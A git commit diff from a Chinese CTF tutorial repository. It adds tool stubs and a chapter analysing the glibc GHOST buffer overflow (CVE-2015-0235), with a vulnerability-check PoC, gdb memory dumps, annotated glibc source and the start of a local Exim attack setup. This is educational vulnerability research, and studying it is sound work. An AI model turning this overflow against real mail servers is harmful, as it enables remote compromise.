mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
Merge branch 'master' of github.com:firmianay/CTF-All-In-One
This commit is contained in:
commit
3cf20dac88
12
README.md
12
README.md
@ -1,4 +1,5 @@
|
|||||||
# CTF-All-In-One(CTF 从入门到放弃)
|
CTF-All-In-One(CTF 从入门到放弃)
|
||||||
|
---
|
||||||
|
|
||||||
[![Build Status](https://travis-ci.org/firmianay/CTF-All-In-One.svg?branch=master)](https://travis-ci.org/firmianay/CTF-All-In-One)
|
[![Build Status](https://travis-ci.org/firmianay/CTF-All-In-One.svg?branch=master)](https://travis-ci.org/firmianay/CTF-All-In-One)
|
||||||
|
|
||||||
@ -9,18 +10,19 @@
|
|||||||
*GitBook 地址:https://www.gitbook.com/book/firmianay/ctf-all-in-one/details*
|
*GitBook 地址:https://www.gitbook.com/book/firmianay/ctf-all-in-one/details*
|
||||||
|
|
||||||
*PDF 文件地址:https://github.com/firmianay/CTF-All-In-One/releases*
|
*PDF 文件地址:https://github.com/firmianay/CTF-All-In-One/releases*
|
||||||
## 目录
|
|
||||||
|
目录
|
||||||
---
|
---
|
||||||
请查看 [SUMMARY.md](SUMMARY.md)
|
请查看 [SUMMARY.md](SUMMARY.md)
|
||||||
|
|
||||||
## 合作和贡献
|
合作和贡献
|
||||||
---
|
---
|
||||||
请查看 [CONTRIBUTION.md](CONTRIBUTION.md)
|
请查看 [CONTRIBUTION.md](CONTRIBUTION.md)
|
||||||
|
|
||||||
## 致谢
|
致谢
|
||||||
---
|
---
|
||||||
请查看 [THANKS](THANKS)
|
请查看 [THANKS](THANKS)
|
||||||
|
|
||||||
## LICENSE
|
LICENSE
|
||||||
---
|
---
|
||||||
CC BY-SA 4.0
|
CC BY-SA 4.0
|
||||||
|
@ -40,6 +40,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
|||||||
* [1.7.4 Android 常用工具](doc/1.7.4_android_tools.md)
|
* [1.7.4 Android 常用工具](doc/1.7.4_android_tools.md)
|
||||||
* [二、工具篇](doc/2_tools.md)
|
* [二、工具篇](doc/2_tools.md)
|
||||||
* [2.1 VM](doc/2.1_vm.md)
|
* [2.1 VM](doc/2.1_vm.md)
|
||||||
|
* [2.1.1 QEMU](doc/2.1.1_qemu.md)
|
||||||
* [2.2 gdb/peda](doc/2.2_gdb.md)
|
* [2.2 gdb/peda](doc/2.2_gdb.md)
|
||||||
* [2.3 ollydbg](doc/2.3_ollydbg.md)
|
* [2.3 ollydbg](doc/2.3_ollydbg.md)
|
||||||
* [2.4 windbg](doc/2.4_windbg.md)
|
* [2.4 windbg](doc/2.4_windbg.md)
|
||||||
@ -82,6 +83,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
|||||||
* [五、高级篇](doc/5_advanced.md)
|
* [五、高级篇](doc/5_advanced.md)
|
||||||
* [5.1 Fuzz 测试](doc/5.1_fuzz.md)
|
* [5.1 Fuzz 测试](doc/5.1_fuzz.md)
|
||||||
* [5.1.1 AFL fuzzer](doc/5.1.1_afl_fuzzer.md)
|
* [5.1.1 AFL fuzzer](doc/5.1.1_afl_fuzzer.md)
|
||||||
|
* [5.1.2 libFuzzer](doc/5.1.2_libfuzzer.md)
|
||||||
* [5.2 Pin 动态二进制插桩](doc/5.2_pin.md)
|
* [5.2 Pin 动态二进制插桩](doc/5.2_pin.md)
|
||||||
* [5.3 angr 二进制自动化分析](doc/5.3_angr.md)
|
* [5.3 angr 二进制自动化分析](doc/5.3_angr.md)
|
||||||
* [5.4 符号执行](doc/5.4_symbolic.md)
|
* [5.4 符号执行](doc/5.4_symbolic.md)
|
||||||
@ -116,6 +118,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
|||||||
* [6.3.1 web HCTF2017 babycrack](doc/6.3.1_web_hctf2017_babycrack.md)
|
* [6.3.1 web HCTF2017 babycrack](doc/6.3.1_web_hctf2017_babycrack.md)
|
||||||
* [七、实战篇](doc/7_exploit.md)
|
* [七、实战篇](doc/7_exploit.md)
|
||||||
* [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](doc/7.1.1_tcpdump_2017-11543.md)
|
* [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](doc/7.1.1_tcpdump_2017-11543.md)
|
||||||
|
* [7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow](doc/7.1.2_glibc_2015-0235.md)
|
||||||
* [八、附录](doc/8_appendix.md)
|
* [八、附录](doc/8_appendix.md)
|
||||||
* [8.1 更多 Linux 工具](doc/8.1_Linuxtools.md)
|
* [8.1 更多 Linux 工具](doc/8.1_Linuxtools.md)
|
||||||
* [8.2 更多 Windows 工具](doc/8.2_wintools.md)
|
* [8.2 更多 Windows 工具](doc/8.2_wintools.md)
|
||||||
|
28
doc/2.1.1_qemu.md
Normal file
28
doc/2.1.1_qemu.md
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
# 2.1.1 QEMU
|
||||||
|
|
||||||
|
- [简介](#简介)
|
||||||
|
- [安装](#安装)
|
||||||
|
- [参考资料](#参考资料)
|
||||||
|
|
||||||
|
## 简介
|
||||||
|
QEMU 是一个广泛使用的开源计算机仿真器和虚拟机。当作为仿真器时,可以在一种架构(如PC机)下运行另一种架构(如ARM)下的操作系统和程序,当作为虚拟机时,可以使用 Xen 或 KVM 访问 CPU 的扩展功能(HVM),在主机 CPU 上直接执行虚拟客户端的代码。
|
||||||
|
|
||||||
|
|
||||||
|
## 安装
|
||||||
|
```
|
||||||
|
Arch: $ pacman -S qemu
|
||||||
|
Debian/Ubuntu: $ apt-get install qemu
|
||||||
|
```
|
||||||
|
当然如果你偏爱源码编译安装的话:
|
||||||
|
```
|
||||||
|
$ git clone git://git.qemu.org/qemu.git
|
||||||
|
$ cd qemu
|
||||||
|
$ git submodule init
|
||||||
|
$ git submodule update --recursive
|
||||||
|
$ ./configure
|
||||||
|
$ make
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## 参考资料
|
||||||
|
- [QEMU](https://www.qemu.org/)
|
@ -1,6 +1,7 @@
|
|||||||
# 第二章 工具篇
|
# 第二章 工具篇
|
||||||
|
|
||||||
- [2.1 VM](2.1_vm.md)
|
- [2.1 VM](2.1_vm.md)
|
||||||
|
- [2.1.1 QEMU](2.1.1_qemu.md)
|
||||||
- [2.2 gdb/peda](2.2_gdb.md)
|
- [2.2 gdb/peda](2.2_gdb.md)
|
||||||
- [2.3 ollydbg](2.3_ollydbg.md)
|
- [2.3 ollydbg](2.3_ollydbg.md)
|
||||||
- [2.4 windbg](2.4_windbg.md)
|
- [2.4 windbg](2.4_windbg.md)
|
||||||
|
@ -1 +1,25 @@
|
|||||||
# 5.1.1 AFL fuzzer
|
# 5.1.1 AFL fuzzer
|
||||||
|
|
||||||
|
- [AFL 简介](#afl-简介)
|
||||||
|
- [安装](#安装)
|
||||||
|
- [简单示例](#简单示例)
|
||||||
|
|
||||||
|
|
||||||
|
## AFL 简介
|
||||||
|
AFL 是一个强大的 Fuzzing 测试工具,由 lcamtuf 所开发。利用 AFL 在源码编译时进行插桩(简称编译时插桩),可以自动产生测试用例来探索二进制程序内部新的执行路径。与其他基于插桩技术的 fuzzer 相比,AFL 具有较低的性能消耗,各种高效的模糊测试策略和最小化技巧,它无需很多复杂的配置即可处理现实中的复杂程序。另外 AFL 也支持直接对没有源码的二进制程序进行黑盒测试,但需要 QEMU 的支持。
|
||||||
|
|
||||||
|
|
||||||
|
## 安装
|
||||||
|
```
|
||||||
|
$ wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz
|
||||||
|
$ tar zxvf afl-latest.tgz
|
||||||
|
$ cd afl-2.52b
|
||||||
|
$ make
|
||||||
|
$ sudo make install
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## 简单示例
|
||||||
|
|
||||||
|
|
||||||
|
## 参考资料
|
||||||
|
7
doc/5.1.2_libfuzzer.md
Normal file
7
doc/5.1.2_libfuzzer.md
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
# 5.1.2 libFuzzer
|
||||||
|
|
||||||
|
- [参考资料](#参考资料)
|
||||||
|
|
||||||
|
|
||||||
|
## 参考资料
|
||||||
|
- [libFuzzer – a library for coverage-guided fuzz testing.](http://llvm.org/docs/LibFuzzer.html)
|
@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
- [5.1 Fuzz 测试](5.1_fuzz.md)
|
- [5.1 Fuzz 测试](5.1_fuzz.md)
|
||||||
- [5.1.1 AFL fuzzer](5.1.1_afl_fuzzer.md)
|
- [5.1.1 AFL fuzzer](5.1.1_afl_fuzzer.md)
|
||||||
|
- [5.1.2 libFuzzer](5.1.2_libfuzzer.md)
|
||||||
- [5.2 Pin 动态二进制插桩](5.2_pin.md)
|
- [5.2 Pin 动态二进制插桩](5.2_pin.md)
|
||||||
- [5.3 angr 二进制自动化分析](5.3_angr.md)
|
- [5.3 angr 二进制自动化分析](5.3_angr.md)
|
||||||
- [5.4 Symbolic Execution 符号执行技术](5.4_symbolic.md)
|
- [5.4 Symbolic Execution 符号执行技术](5.4_symbolic.md)
|
||||||
|
@ -19,3 +19,5 @@
|
|||||||
- [6.2.4 re CSAWCTF2015 wyvern](6.2.4_re_csawctf2015_wyvern.md)
|
- [6.2.4 re CSAWCTF2015 wyvern](6.2.4_re_csawctf2015_wyvern.md)
|
||||||
- [6.2.5 re PicoCTF2014 Baleful](6.2.5_re_picoctf2014_baleful.md)
|
- [6.2.5 re PicoCTF2014 Baleful](6.2.5_re_picoctf2014_baleful.md)
|
||||||
- [6.2.6 re SECCON2017 printf_machine](6.2.6_re_seccon2017_printf_machine.md)
|
- [6.2.6 re SECCON2017 printf_machine](6.2.6_re_seccon2017_printf_machine.md)
|
||||||
|
- web
|
||||||
|
- [6.3.1 web HCTF2017 babycrack](6.3.1_web_hctf2017_babycrack.md)
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
- [参考资料](#参考资料)
|
- [参考资料](#参考资料)
|
||||||
|
|
||||||
|
|
||||||
[下载文件](../src/exploit/7.1.1_tcpdump_bof)
|
[下载文件](../src/exploit/7.1.1_tcpdump_2017-11543)
|
||||||
|
|
||||||
## 漏洞描述
|
## 漏洞描述
|
||||||
tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 `sliplink_print` 函数(位于 `print-sl.c`)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。
|
tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 `sliplink_print` 函数(位于 `print-sl.c`)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。
|
||||||
|
532
doc/7.1.2_glibc_2015-0235.md
Normal file
532
doc/7.1.2_glibc_2015-0235.md
Normal file
@ -0,0 +1,532 @@
|
|||||||
|
# 7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow
|
||||||
|
|
||||||
|
- [漏洞描述](#漏洞描述)
|
||||||
|
- [漏洞复现](#漏洞复现)
|
||||||
|
- [漏洞分析](#漏洞分析)
|
||||||
|
- [Exim expolit](#exim-exploit)
|
||||||
|
- [参考资料](#参考资料)
|
||||||
|
|
||||||
|
|
||||||
|
[下载文件](../src/exploit/7.1.2_glibc_2015-0235)
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出,可以通过 `gethostbyname*()` 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。
|
||||||
|
|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
| |推荐使用的环境 | 备注
|
||||||
|
--- | --- | ---
|
||||||
|
操作系统 | Ubuntu 12.04 | 体系结构:64 位
|
||||||
|
调试器 | gdb-peda| 版本号:7.4
|
||||||
|
漏洞软件 | glibc | 版本号:2.15
|
||||||
|
受影响软件 | Exim4 | 版本号 4.80
|
||||||
|
|
||||||
|
通过下面的 PoC 可以知道自己的系统是否受到影响:
|
||||||
|
```c
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
#define CANARY "in_the_coal_mine"
|
||||||
|
|
||||||
|
struct {
|
||||||
|
char buffer[1024];
|
||||||
|
char canary[sizeof(CANARY)];
|
||||||
|
} temp = { "buffer", CANARY };
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct hostent resbuf;
|
||||||
|
struct hostent *result;
|
||||||
|
int herrno;
|
||||||
|
int retval;
|
||||||
|
|
||||||
|
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
|
||||||
|
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
|
||||||
|
char name[sizeof(temp.buffer)];
|
||||||
|
memset(name, '0', len);
|
||||||
|
name[len] = '\0';
|
||||||
|
|
||||||
|
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
|
||||||
|
|
||||||
|
if (strcmp(temp.canary, CANARY) != 0) {
|
||||||
|
puts("vulnerable");
|
||||||
|
exit(EXIT_SUCCESS);
|
||||||
|
}
|
||||||
|
if (retval == ERANGE) {
|
||||||
|
puts("not vulnerable");
|
||||||
|
exit(EXIT_SUCCESS);
|
||||||
|
}
|
||||||
|
puts("should not happen");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
$ file /lib/x86_64-linux-gnu/libc-2.15.so
|
||||||
|
/lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
|
||||||
|
$ gcc -g poc.c
|
||||||
|
$ ./a.out
|
||||||
|
vulnerable
|
||||||
|
```
|
||||||
|
很明显是存在漏洞的。简单解释一下 PoC,在栈上布置一个区域 temp,由 buffer 和 canary 组成,然后初始化一个 name,最后执行函数 gethostbyname_r(),正常情况下,当把 name+\*host\_addr+\*h\_addr\_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。
|
||||||
|
|
||||||
|
函数 `gethostbyname_r()` 在 `include/netdb.h` 中定义如下:
|
||||||
|
```c
|
||||||
|
struct hostent {
|
||||||
|
char *h_name; /* official name of host */
|
||||||
|
char **h_aliases; /* alias list */
|
||||||
|
int h_addrtype; /* host address type */
|
||||||
|
int h_length; /* length of address */
|
||||||
|
char **h_addr_list; /* list of addresses */
|
||||||
|
}
|
||||||
|
#define h_addr h_addr_list[0] /* for backward compatibility */
|
||||||
|
|
||||||
|
int gethostbyname_r(const char *name,
|
||||||
|
struct hostent *ret, char *buf, size_t buflen,
|
||||||
|
struct hostent **result, int *h_errnop);
|
||||||
|
```
|
||||||
|
- `name`:网页的 host 名称
|
||||||
|
- `ret`:成功时用于存储结果
|
||||||
|
- `buf`:临时缓冲区,存储过程中的各种信息
|
||||||
|
- `buflen`:缓冲区大小
|
||||||
|
- `result`:成功时指向 ret
|
||||||
|
- `h_errnop`:存储错误码
|
||||||
|
|
||||||
|
执行前:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/6gx temp.buffer
|
||||||
|
0x601060 <temp>: 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr
|
||||||
|
0x601070 <temp+16>: 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs
|
||||||
|
0x601080 <temp+32>: 0x0000000000000000 0x0000000000000000 <-- hostname
|
||||||
|
gdb-peda$ x/20gx temp.canary-0x10
|
||||||
|
0x601450 <temp+1008>: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x601460 <temp+1024>: 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary
|
||||||
|
0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
执行后:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/6gx temp.buffer
|
||||||
|
0x601060 <temp>: 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr
|
||||||
|
0x601070 <temp+16>: 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs
|
||||||
|
0x601080 <temp+32>: 0x0000000000000000 0x3030303030303030 <-- h_alias_ptr, hostname
|
||||||
|
gdb-peda$ x/6gx temp.canary-0x10
|
||||||
|
0x601450 <temp+1008>: 0x3030303030303030 0x3030303030303030
|
||||||
|
0x601460 <temp+1024>: 0x0030303030303030 0x656e696d5f6c616f <-- canary
|
||||||
|
0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
canary 被覆盖了 8 个字节,即溢出了 8 个字节。
|
||||||
|
|
||||||
|
|
||||||
|
## 漏洞分析
|
||||||
|
```
|
||||||
|
grep -irF '__nss_hostname_digits_dots' ./*
|
||||||
|
./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
|
||||||
|
./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
|
||||||
|
[...]
|
||||||
|
./nss/getXXbyYY.c: if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
|
||||||
|
./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
|
||||||
|
./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
|
||||||
|
./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,
|
||||||
|
```
|
||||||
|
通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 `HANDLE_DIGITS_DOTS` 被定义:
|
||||||
|
```c
|
||||||
|
// inet/gethstbynm.c
|
||||||
|
#define NEED_H_ERRNO 1
|
||||||
|
|
||||||
|
// nss/getXXbyYY_r.c
|
||||||
|
#ifdef HANDLE_DIGITS_DOTS
|
||||||
|
if (buffer != NULL)
|
||||||
|
{
|
||||||
|
if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
|
||||||
|
&buffer_size, 0, &result, NULL, AF_VAL,
|
||||||
|
H_ERRNO_VAR_P))
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
|
||||||
|
具体程序如下(来自glibc-2.17):
|
||||||
|
```c
|
||||||
|
// nss/digits_dots.c
|
||||||
|
int
|
||||||
|
__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
|
||||||
|
char **buffer, size_t *buffer_size,
|
||||||
|
size_t buflen, struct hostent **result,
|
||||||
|
enum nss_status *status, int af, int *h_errnop)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
|
||||||
|
{
|
||||||
|
const char *cp;
|
||||||
|
char *hostname;
|
||||||
|
typedef unsigned char host_addr_t[16];
|
||||||
|
host_addr_t *host_addr;
|
||||||
|
typedef char *host_addr_list_t[2];
|
||||||
|
host_addr_list_t *h_addr_ptrs;
|
||||||
|
char **h_alias_ptr;
|
||||||
|
size_t size_needed;
|
||||||
|
|
||||||
|
[...]
|
||||||
|
// size_needed 决定了缓冲区的大小,即 *host_addr+*h_addr_ptrs+name+1 (1存储结尾的'\0')
|
||||||
|
size_needed = (sizeof (*host_addr)
|
||||||
|
+ sizeof (*h_addr_ptrs) + strlen (name) + 1);
|
||||||
|
|
||||||
|
if (buffer_size == NULL) // 重入分支
|
||||||
|
{
|
||||||
|
if (buflen < size_needed)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
|
||||||
|
{
|
||||||
|
char *new_buf;
|
||||||
|
*buffer_size = size_needed;
|
||||||
|
new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区,以保证其足够大
|
||||||
|
|
||||||
|
if (new_buf == NULL)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
*buffer = new_buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
[...]
|
||||||
|
// 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
|
||||||
|
// 与缓冲区相差了一个 h_alias_ptr,64 位下为 8 字节
|
||||||
|
host_addr = (host_addr_t *) *buffer;
|
||||||
|
h_addr_ptrs = (host_addr_list_t *)
|
||||||
|
((char *) host_addr + sizeof (*host_addr));
|
||||||
|
h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
|
||||||
|
hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
|
||||||
|
|
||||||
|
if (isdigit (name[0]))
|
||||||
|
{
|
||||||
|
for (cp = name;; ++cp)
|
||||||
|
{
|
||||||
|
if (*cp == '\0')
|
||||||
|
{
|
||||||
|
int ok;
|
||||||
|
|
||||||
|
if (*--cp == '.')
|
||||||
|
break;
|
||||||
|
|
||||||
|
[...]
|
||||||
|
if (af == AF_INET)
|
||||||
|
ok = __inet_aton (name, (struct in_addr *) host_addr);
|
||||||
|
else
|
||||||
|
{
|
||||||
|
assert (af == AF_INET6);
|
||||||
|
ok = inet_pton (af, name, host_addr) > 0;
|
||||||
|
}
|
||||||
|
if (! ok)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
|
||||||
|
resbuf->h_name = strcpy (hostname, name); // 复制 name 到 hostname,触发缓冲区溢出
|
||||||
|
|
||||||
|
[...]
|
||||||
|
goto done;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isdigit (*cp) && *cp != '.')
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件:
|
||||||
|
- name 的第一个字符必须是数字
|
||||||
|
- name 的最后一个字符不能是 "."
|
||||||
|
- name 的所有字符只能是数字或者 "."
|
||||||
|
- 必须是 IPv4 地址且必须是这些格式中的一种:"a.b.c.d","a.b.c","a",且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff
|
||||||
|
|
||||||
|
对比一下 glibc-2.18 的代码,也就是把 h_alias\_ptr 的长度加上了,问题完美解决:
|
||||||
|
```c
|
||||||
|
size_needed = (sizeof (*host_addr)
|
||||||
|
+ sizeof (*h_addr_ptrs)
|
||||||
|
+ sizeof (*h_alias_ptr) + strlen (name) + 1);
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Exim exploit
|
||||||
|
```
|
||||||
|
$ sudo apt-get install libpcre3-dev
|
||||||
|
$ git clone https://github.com/Exim/exim.git
|
||||||
|
$ cd exim/src
|
||||||
|
$ git checkout exim-4_80
|
||||||
|
$ mkdir Local
|
||||||
|
$ cp src/EDITME Local/Makefile
|
||||||
|
$ #修改 Makefile 中的 EXIM_USER=你的用户名
|
||||||
|
$ #注释掉 EXIM_MONITOR=eximon.bin
|
||||||
|
$ #然后取消掉 PCRE_LIBS=-lpcre 的注释
|
||||||
|
$ make && sudo make install
|
||||||
|
```
|
||||||
|
最后为了能够调用 `smtp_verify_helo()`,在 Exim 的配置文件中必须开启 `helo_verify_hosts` 或 `helo_try_verify_hosts`。在文件 `/var/lib/exim4/config.autogenerated` 中的 `acl_smtp_mail` 一行下面加上 `helo_try_verify_hosts = *` 或者 `helo_verify_hosts = *`:
|
||||||
|
```
|
||||||
|
acl_smtp_mail = MAIN_ACL_CHECK_MAIL
|
||||||
|
|
||||||
|
helo_try_verify_hosts = *
|
||||||
|
```
|
||||||
|
更新并重启软件即可:
|
||||||
|
```
|
||||||
|
$ update-exim4.conf
|
||||||
|
$ exim4 -bP | grep helo_try
|
||||||
|
helo_try_verify_hosts = *
|
||||||
|
$ sudo /etc/init.d/exim4 stop
|
||||||
|
$ sudo /usr/exim/bin/exim -bdf -d+all
|
||||||
|
```
|
||||||
|
这样就把程序以 debug 模式开启了,之后的所有操作都会被打印出来,方便观察。还是为了方便(懒),后续的所有操作都只在本地运行,
|
||||||
|
|
||||||
|
先简单地看一下 Exim 处理 HELO 命令的过程,在另一个 shell 里,使用 telenet 连接上 Exim,根据前面的限制条件随便输入点什么:
|
||||||
|
```
|
||||||
|
$ telnet 127.0.0.1 25
|
||||||
|
Trying 127.0.0.1...
|
||||||
|
Connected to 127.0.0.1.
|
||||||
|
Escape character is '^]'.
|
||||||
|
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
|
||||||
|
HELO 0123456789
|
||||||
|
250 firmy-VirtualBox Hello localhost [127.0.0.1]
|
||||||
|
^CConnection closed by foreign host.
|
||||||
|
firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
|
||||||
|
Trying 127.0.0.1...
|
||||||
|
Connected to 127.0.0.1.
|
||||||
|
Escape character is '^]'.
|
||||||
|
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
|
||||||
|
HELO 0123456789
|
||||||
|
250 firmy-VirtualBox Hello localhost [127.0.0.1]
|
||||||
|
```
|
||||||
|
结果如下:
|
||||||
|
```
|
||||||
|
17:00:47 5577 Process 5577 is ready for new message
|
||||||
|
17:00:47 5577 smtp_setup_msg entered
|
||||||
|
17:00:55 5577 SMTP<< HELO 0123456789
|
||||||
|
17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
|
||||||
|
17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
|
||||||
|
17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
|
||||||
|
17:00:55 5577 verifying EHLO/HELO argument "0123456789"
|
||||||
|
17:00:55 5577 getting IP address for 0123456789
|
||||||
|
17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
|
||||||
|
17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
|
||||||
|
17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
|
||||||
|
17:00:55 5577 LOG: host_lookup_failed MAIN
|
||||||
|
17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
|
||||||
|
17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts
|
||||||
|
17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]
|
||||||
|
```
|
||||||
|
|
||||||
|
可以看到它最终调用了 `gethostbyname2()` 函数来解析来自 SMTP 客户端的数据包。具体代码如下:[github](https://github.com/Exim/exim/tree/exim-4_80)
|
||||||
|
```c
|
||||||
|
// src/src/smtp_in.c
|
||||||
|
int
|
||||||
|
smtp_setup_msg(void)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
while (done <= 0)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
switch(smtp_read_command(TRUE))
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
case HELO_CMD:
|
||||||
|
HAD(SCH_HELO);
|
||||||
|
hello = US"HELO";
|
||||||
|
esmtp = FALSE;
|
||||||
|
goto HELO_EHLO;
|
||||||
|
|
||||||
|
case EHLO_CMD:
|
||||||
|
HAD(SCH_EHLO);
|
||||||
|
hello = US"EHLO";
|
||||||
|
esmtp = TRUE;
|
||||||
|
|
||||||
|
// 当 SMTP 命令为 HELO 或 EHLO 时,执行下面的过程
|
||||||
|
HELO_EHLO: /* Common code for HELO and EHLO */
|
||||||
|
cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
|
||||||
|
cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
|
||||||
|
|
||||||
|
/* Reject the HELO if its argument was invalid or non-existent. A
|
||||||
|
successful check causes the argument to be saved in malloc store. */
|
||||||
|
|
||||||
|
if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
[...]
|
||||||
|
helo_verified = helo_verify_failed = FALSE;
|
||||||
|
if (helo_required || helo_verify)
|
||||||
|
{
|
||||||
|
BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效
|
||||||
|
if (!helo_verified)
|
||||||
|
{
|
||||||
|
if (helo_required)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
}
|
||||||
|
HDEBUG(D_all) debug_printf("%s verification failed but host is in "
|
||||||
|
"helo_try_verify_hosts\n", hello);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
继续看函数 `smtp_verify_helo()`:
|
||||||
|
```c
|
||||||
|
// src/src/smtp_in.c
|
||||||
|
BOOL
|
||||||
|
smtp_verify_helo(void)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
if (!helo_verified)
|
||||||
|
{
|
||||||
|
int rc;
|
||||||
|
host_item h;
|
||||||
|
h.name = sender_helo_name;
|
||||||
|
h.address = NULL;
